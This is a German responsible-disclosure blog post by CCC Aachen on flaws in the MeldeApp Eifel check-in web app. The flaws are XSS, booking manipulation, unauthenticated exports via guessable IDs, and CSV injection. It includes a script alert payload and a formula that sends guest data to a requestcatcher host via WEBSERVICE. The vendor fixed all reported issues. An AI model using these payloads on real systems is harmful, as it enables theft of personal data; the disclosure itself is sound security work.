CCCAC findet Sicherheitslücken in MeldeApp Eifel
Die Debatte um die Luca-App sollte nun hinreichend bekannt sein. Aufgrund eklatanter sicherheitstechnischer Mängel, sowie fragwürdigem Vergabeverfahren forderte der CCC hier bereits im April die „Bundesnotbremse“ für die Luca-App. Erfreulicherweise gingen daraufhin einige Länder und Städte einen eigenen Weg und lehnten eine weitere Nutzung von Luca ab. So beendete auch der Gesundheitsdezernent der StädteRegion Aachen, Michael Ziemons, die Nutzung nach einer 6-wöchigen Probephase aus Sicherheitsgründen. Stattdessen machte die StädteRegion Aachen aktiv Werbung für die MeldeApp Eifel. Das weckte unsere Aufmerksamkeit, sodass wir uns die Anwendung genauer ansahen.
Hinweis in eigener Sache
Hierbei handelt es sich nicht um einen professionell durchgeführten Penetrationstest. Der Chaos Computer Club Aachen (CCCAC) weist gerne auf von Mitgliedern in ihrer Freizeit gefundene Probleme hin, erteilt aber keine Gütesiegel oder ähnliches.
Grundlegendes Prinzip
Bei der „MeldeApp Eifel“ handelt es sich um eine Instanz der von der shapefruit AG entwickelten MeldeApp, die für die Eifelregion von der Eifel Tourismus (ET) GmbH betrieben wird. Handel, Gastronomie und Freizeitbetriebe aus der Region können diese nach Freischaltung kostenlos nutzen.
Bei der MeldeApp handelt es sich nicht um eine Smartphone-App, sondern um eine „Webapp“, also im Prinzip eine auch für mobile Geräte optimierte Website. Vom Grundprinzip her gibt es 3 Parteien: Gäste, Gastgebende (Verein, Gastronomiebetrieb, etc.) und Server-Betereibende (hier die Eifel Tourismus GmbH). Die Gäste können einchecken, sowie Termine buchen. Die Gastgebenden können sich vergebene Termine und Gästelisten anzeigen lassen und diese exportieren, sowie verschiedene weitere Funktionen nutzen (QR-Codes generieren, Live-Gästecounter, etc).
Wir gehen davon aus, dass die gefundenen Mängel alle Instanzen der MeldeApp von shapefruit betreffen, getestet wurde aber nur die „MeldeApp Eifel“.
Sicherheitstechnische Probleme
Cross Site Scripting (XSS)
Gastgebende können Informationstexte für Gäste eingeben, die diesen vor bzw. nach dem Checkin angezeigt werden. Dafür wird ein WYSIWYG Editor genutzt. Es ist möglich, die an den Server gesendeten HTML-Codes zu bearbeite, indem über die Entwicklertools des Browsers direkt zum Beispiel <script>alert(42)</script>
in das textarea
Element eingefügt wird. Der Server überprüft die HTML-Daten nicht auf unzulässige Tags. Dadurch wird der eingegebene JavaScript-Code im Browser der Gäste ausgeführt, wenn diese die Seite aufrufen.
Terminbuchung außerhalb der Öffnungszeiten & Überbuchung von Zeitfenstern
Durch Manipulation der mitgesendeten Uhrzeit start
(und ggf. date
) im POST
-Request (https://meldeapp.standort-eifel.de/termin/eintragen/$id
) können Gäste Termine außerhalb der Öffnungszeiten buchen. Der Server überprüft die angefragte Uhrzeit nicht. Hierbei handelt es sich eher um ein funktionales Problem als ein Sicherheitsproblem.
Über den selben Endpunkt ist es möglich, innerhalb eines vom Gastgebenden angelegten Zeitfensters Termine mit einer anderen Anfangsuhrzeit (z.B. abweichende Minuten oder Sekunden durch erweitern der Uhrzeit auf Sekundenfragment hh:mm:ss
) anzulegen. Dem Gastgebenden werden diese Termine innerhalb des Zeitfensters dargestellt. Der Server zählt nur Termine mit exakt identischer Anfangsuhrzeit, andere Termine innerhalb desselben Zeitfensters werden nicht zur Zahl der gebuchten Termine gezählt.
Hierbei handelt es sich eher um ein funktionales Problem als ein Sicherheitsproblem. Trotzdem ist es relevant, da sich die Gastgebenden eventuell auf die Anzahl der vergebenen Termine verlassen.
Auslesen von Zuordnungsbezeichnungen ohne Authentifizierung
Die Anwendung erlaubt es, Zuordnungen (wie z.B. Tischbezeichnungen) anzulegen und QR-Codes dafür zu generieren. Der Endpunkt https://meldeapp.standort-eifel.de/assignment/code/$id/code.png
erlaubt das Herunterladen von QR-Codes ohne passende Authentifizierung für andere Mandanten der Anwendung. Die $id
ist eine fortlaufende Zahl und lässt sich leicht erraten. Die QR-Codes enthalten die Zuordnungsbezeichnungen.
ics-Export ohne Authentifizierung
Der Endpunkt download-ics
lässt sich ohne passende Authentifizierung nutzen. Auch hier ist id
eine fortlaufende Zahl, die leicht erraten werden kann: https://meldeapp.standort-eifel.de/appointments-admin/download-ics/$id
Darüber ist es möglich, Termine anderer Betriebe abzurufen. Darin enthalten sind der Name der Person die den Termin vereinbart hat, sowie Datum und Uhrzeit des Termins. Der Name des Betriebs ist nicht enthalten. Ein Beispiel:
1
2
3
4
5
6
7
8
9
10
11
12
13
BEGIN:VCALENDAR
VERSION:2.0
PRODID:spatie/icalendar-generator
NAME:Termin mit Hans Acker
X-WR-CALNAME:Termin mit Hans Acker
BEGIN:VEVENT
UID:60bb618bb4ec6
SUMMARY:Termin mit Hans Acker
DTSTART;TZID=Europe/Berlin:20210607T133500
DTEND;TZID=Europe/Berlin:20210607T135000
DTSTAMP;TZID=Europe/Berlin:20210605T133539
END:VEVENT
END:VCALENDAR
.csv injection
Hierbei handelt es sich um die wohl schwerwiegendste Sicherheitslücke, die wir gefunden haben. Die Eingaben der Gäste im Checkin-Formular sowie bei der Terminbuchung werden in den CSV-Export übernommen und dabei nicht hinreichend geprüft/escaped. Durch eine geschickte Wahl des Namens ist es möglich, Formeln einzugeben, die in der CSV-Datei auftauchen. Wenn nun der Gastgeber diese Datei öffnet, werden diese Formeln ausgeführt. Damit ist u.a. eine Ausleitung der Daten möglich.
Hierbei kann zum Beispiel mit der Zeichenfolge \",
aus der aktuellen CSV-Zelle ausgebrochen werden und in die nächste Zelle geschrieben werden.
Als Beispiel eines konkreten Angriffs hat folgende Angabe im Namensfeld eines Gastes zu einer Exfiltration von Daten anderer Gäste geführt:
http://cccac.requestcatcher.com/p/\",=CONCAT(A5:A7),=CONCAT(A4:B4),=WEBSERVICE(C4)
Dieses Beispiel ist nur ein einfacher Proof of Concept und setzt in diesem Fall voraus, dass er in Zeile 4 der CSV-Datei auftaucht. Durch die Nutzung weiterer Funktionen is es aber möglich, dies auch in beliebigen Zeilen durchzuführen. Zudem wäre ebenfalls ein Angriff denkbar, bei dem über eine Injection in der CSV-Datei beliebige Programme auf dem Computer der Person ausgeführt werden, die die Liste öffnet. Das Ganze funktioniert nur, wenn ein Hinweis beim Öffnen der Datei akzeptiert wird. Dieser Hinweis wird jedoch nicht besonders deutlich als Gefahr dargestellt und schlägt vor, die Funktion einzuschalten. Der Hinweis liest sich je nach Anwendung nur wie ein Feature, das aktiviert werden sollte: Dazu kommt, dass die Datei aus einer für den Benutzer vertrauenswürdigen Quelle — der MeldeApp — stammt, sodass Nutzer eher dazu verleitet sind, zusätzliche Features zu aktivieren. Das ist vergleichbar zu dem Problem, das die Luca-App vor kurzem hatte. Wir sind hier der Meinung des BSI:
„Schutzmaßnahmen Dritter, etwa zusätzliches Unterbinden von Makro-Ausführung, stellen aus unserer Sicht keine ausreichende Sicherheitsmaßnahme dar.“
Quelle: https://twitter.com/BSI_Bund/status/1398195272400920578
Kommunikation
Shapefruit hat sehr schnell und professionell auf unsere Hinweise reagiert. Weniger als 24h nach Zusenden des ausführlichen Berichts wurde uns bestätigt, dass alle gemeldeten Probleme behoben seien und und der Datenschutzbeauftragte informiert sei. Wir möchten uns explizit für die offene Kommunikation und die vorbildliche Reaktion bedanken! Das möchten wir besonders hervorheben, da dies leider nicht die Regel ist und wir in der Vergangenheit mit anderen Firmen teils unschöne Erfahrungen hatten.
Disclousure Timeline:
Sa, 05.06.2021 | Finden und Verifizieren der ersten Sicherheitslücken |
So, 06.06.2021 | Dokumentation, Verifikation und Kontaktaufnahme mit Hersteller und Betreiber |
Mo, 07.06.2021 | Zusenden eines ausführlichen Berichts |
Di, 08.06.2021 | Bestätigung des Herstellers, dass alle gemeldeten potentiellen Sicherheitslücken am vorherigen Tag geschlossen wurden |
Mo, 28.06.2021 | Vorab-Zusendung des Blogpostentwurfs an den Hersteller |
Do, 01.07.2021 | Veröffentlichung des Blogposts |
Die vom CCCAC gemeldeten Sicherheitslücken wurden behoben - ist nun alles gut?
Leider nein, denn eher triviale Fehler wie die Verwendung von kurzen inkrementierenden IDs weisen darauf hin, dass bisher keine professionelle Sicherheitsanalyse durchgeführt wurde. Es ist daher plausibel, dass Fehler an weiteren Stellen vorliegen können. Alle hier berichteten Probleme wurden von wenigen Personen an einem Nachmittag und Abend gefunden. Uns irritiert, dass es doch so einfach war, in kurzer Zeit und mit wenig Aufwand Schwachstellen in einer Anwendung zu finden, die mit sensiblen Daten umgeht. Auch hat das System der MeldeApp aus unserer Sicht grundlegende, konzeptionelle Probleme…
Konzeptionelle Probleme
Da die Anwendung keine direkte Warnmöglichkeit der im relevanten Zeitraum anwesenden Gäste (wie z.B. die Corona-Warn App) hat und auch keine direkte Anbindung an das lokale Gesundheitsamt (wie z.B. die Luca App) hat, ist kein relevanter Geschwindigkeitsvorteil bei der Warnung vorhanden, verglichen mit der Nutzung von Papierlisten. Auch das Problem, dass in Papierlisten falsche Daten eingetragen werden können, wird hier nicht behoben, da keine Verifikation der Kontaktdaten erfolgt. Bei der MeldeApp handelt es sich also um eine Digitalisierung der Terminvergabe und Papierlisten, die im Endeffekt primär Convenience-Vorteile bietet. Allerdings werden die lokal relevanten Daten in großen Mengen an zentraler Stelle gesammelt. Aus unserer Sicht sind die Sicherheits- und Datenschutzimplikationen bei dieser Umsetzung nicht gerechtfertigt. Bereits im April 2020 während der Debatte um die Corona-Warn App definierte der CCC 10 Prüfsteine für die Beurteilung von Corona-Tracing Apps als Mindestanforderung. Wie im dortigen Artikel genannt:
„Es obliegt den Entwicklern von ‚Contact Tracing‘-Systemen, die Erfüllung dieser Anforderungen zu belegen, oder von unabhängigen Dritten belegen zu lassen.“
Daher nehmen wir hier keine genaue Analyse der Prüfsteine vor - trotzdem möchten wir hier 3 Punkte erwähnen:
- Keine hinreichende Verschlüsselung: Die Daten werden unverschlüsselt auf dem Server gespeichert. Jeder Person mit hinreichendem Zugriff auf den Server ist auch ein direkter Abruf der personenbezogenen Daten möglich.
- Zentrales System: Bei der MeldeApp Eifel handelt es sich um ein zentrales System. Das Erstellen von Bewegungsprofilen ist somit für Personen mit (berechtigtem oder unberechtigtem) Zugriff auf die Daten möglich.
- Quellcode nicht öffentlich einsehbar: Dadurch ist eine unabhängige Sicherheitsanalyse deutlich erschwert.
Fazit
Auch wenn die gefundenen Sicherheitsmängel vorbildlich durch die Herstellerfirma geschlossen wurden, weist deren Trivialität auf das mögliche Vorhandensein weitere Probleme und das Fehlen einer professionellen Sicherheitsanalyse (zum Zeitpunkt unserer Entdeckung) hin. Zudem verbleiben die konzeptionellen Probleme. Vor allem aber bietet eine rein digitale Erfassung in diesem Fall aus unserer Sicht mehr Risiken als Nutzen, insbesondere ist nicht mit einer schnelleren Warnung der Gäste als bei Nutzung von Papierlisten zu rechnen. Wir werden die App selbst nicht nutzen. Dementsprechend können wir anderen nur nahelegen, Ihre eigenen Anforderungen an Sicherheit und Datenschutz gegenüber den möglichen Vorteilen der MeldeApp abzuwägen.
Kontakt
cpresser, harryr, jomo
mail@aachen.ccc.de